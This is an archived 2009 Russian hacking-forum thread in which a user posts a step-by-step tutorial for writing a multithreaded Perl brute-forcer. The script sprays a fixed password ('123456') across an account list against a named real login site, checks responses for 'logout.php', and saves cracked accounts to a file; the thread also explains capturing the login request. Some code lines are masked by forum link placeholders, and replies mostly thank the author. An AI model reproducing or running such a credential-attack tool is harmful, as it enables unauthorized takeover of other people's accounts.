PDA

Просмотр полной версии : Инструкция как написать брут на перле...


DeRZoST2
02.07.2009, 15:38
для начала запомните что нужно обязательно все действия закрывать
таким символом ;
комментарий # его закрывать ненадо
все строки и названия вводятся в ковычках " "
все целочисленные без ковычек
все enter ы и переносы строк обозначаются как \n
начало действая { конец }
сначало вводим эту строчку
#! /usr/bin/perl -w
чесно я незнаю зачем она нужна ну пусть будет)
подключаем библиотеки
use IO::Socket;
use threads;
use threads::shared;
use Fcntl ':flock';
объявляем переменные...

[Ссылки могут видеть только зарегистрированные и активированные пользователи]
$| =1; # непомню для чего =p
$threads = 100; # потоки
$pas = "123456"; # пароль
$list = "list.txt"; # список аккаунтов
$good = "good.txt"; # куда сохранять сбрученные акки

Загружаем список аккаунтов
open (FIIILE, "<$list") || die("File $list error"); #открываем файл который
#назначен переменной $list
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
# динамическом списке
close(FIIILE); # закрываем файл
Создаём потоки с переменной $threads
for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
[Ссылки могут видеть только зарегистрированные и активированные пользователи]

маленькое отступление, нам нужен пакет передачи логина и пароля,
так как не все умеют его ловить рассказываю, есть программа navicat и ещё куча программ но я пользуюсь этой я не буду рассказывать как пользоваться navicatom так как в интернете полно инструкций
заходим на сайт к примеру Личный Кабинет ([Ссылки могут видеть только зарегистрированные и активированные пользователи])

поймал пакет
POST [Ссылки могут видеть только зарегистрированные и активированные пользователи] [Ссылки могут видеть только зарегистрированные и активированные пользователи]
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: [Ссылки могут видеть только зарегистрированные и активированные пользователи]
Accept-Language: ru
Content-Type: application/x-[Ссылки могут видеть только зарегистрированные и активированные пользователи]
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; WebMoney Advisor; MyIE2; MRA 5.4 (build 02647); MRSPUTNIK 2, 0, 1, 90 SW; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: account.backkor.ru
Content-Length: 26
Proxy-Connection: Keep-Alive
Pragma: no-cache

jmeno=*****&heslo=*******


почистил

POST [Ссылки могут видеть только зарегистрированные и активированные пользователи] [Ссылки могут видеть только зарегистрированные и активированные пользователи]
Content-Type: application/x-[Ссылки могут видеть только зарегистрированные и активированные пользователи]
Host: account.backkor.ru
Content-Length: 26

jmeno=*****&heslo=*******

продолжаем....
сама работа брута
sub Brut # процедура
{
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
{

[Ссылки могут видеть только зарегистрированные и активированные пользователи]
# к переменной $acc
my $sock = sock(); # ещё 1 переменную приравниваем к
# другой процедуре

my $data =
"jmeno=$acc&heslo=$pas\n\n"; #как вы уже заметили
# я скопировал конец пакета, изменил звёздочки на переменные
# $acc и $pass

my $re =
"POST [Ссылки могут видеть только зарегистрированные и активированные пользователи] [Ссылки могут видеть только зарегистрированные и активированные пользователи]".
"Host: account.backkor.ru\n".
"Content-Type: application/x-[Ссылки могут видеть только зарегистрированные и активированные пользователи]".
"Content-Length: ".length($data)."\n\n".$data;
# остальную часть пакета переносим сюда...
print $sock $re;
read($sock,my $answ,100000); # читаем ответ от сервера

if($answ =~ /logout.php/)
{
# Если ответ содержит слово logout.php то выполняем...
print "$acc:$pas\n";
# пишем при работе программы логин и пароль
open(FILE, ">>$good") || die("Could not open $good\n");
# открываем файл good.txt
print FILE "$acc:$pas\n";
# пишим в файл аккаунт и пароль
close(FILE);
}
close($sock); # закрываем посылку пакета
}
}
процедура отправки пакета
sub sock {
my $sock;
do {
$sock = new IO::Socket::INET
(
PeerAddr => 'account.backkor.ru',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 20
);
} while (!$sock);
# думаю не стоит объяснять что тут и как, меняете только PeerAddr
return $sock;
}
#(c)DeRZoST2

MatRo
02.07.2009, 16:27
DeRZoST2,Хайд желательно 100-400. Ну никак не 5,флудеры заебут...

DeRZoST2
02.07.2009, 20:11
ну а так же спрашивайте кому непонятно, или у кого не получается...

TrusT
03.07.2009, 15:22
дерзость у меня один вопросик отпишись в аське !!

DeRZoST2
03.07.2009, 16:44
Вопросы сюда пиши....

h4ckeR
04.07.2009, 23:23
подобные инструкции "валяются" на многих сайтах ... имхо ставить высокий хайд нет смысла, т.к. тема давно не актуальна ;)

DesSaR
04.07.2009, 23:43
h4ckeR, для кого как, да и тем более эта тема не "копипаст" ...

Добавлено через 23 часа 33 минуты
DeRZoST2, хм..., прости конечно, но почему же ты хайд увелчил, был вроде 60 постов, а теперь в два раза больше...
сорри за оффтоп заранее... -.-

DeRZoST2
08.07.2009, 00:03
незнаю) теперь 60

Schwarz
17.07.2009, 03:11
ka;55514']skorpeon, ты совсем тупой иль прикидываешься ::

что за некрасивое заученное выражение, вставляемое и тут и там? ((
карина, с ним и без тебя разберуться, поверь. флуд пораждает флуд и этим раздражает. он нафлудил, следом ты, теперь я... ))))))
игнорируй его, он ведь направлен не в твой конкретно адрес. а его обязательно накажут, "не сегодня так завтра".

дерзость, мужик, спасибо!!! от души!

не могу почему-то заплюсить...(?)
<d3scene.ru>

вы должны добавить отзыв кому-то ещё, прежде чем сможете снова добавить его derzost2.


удачи!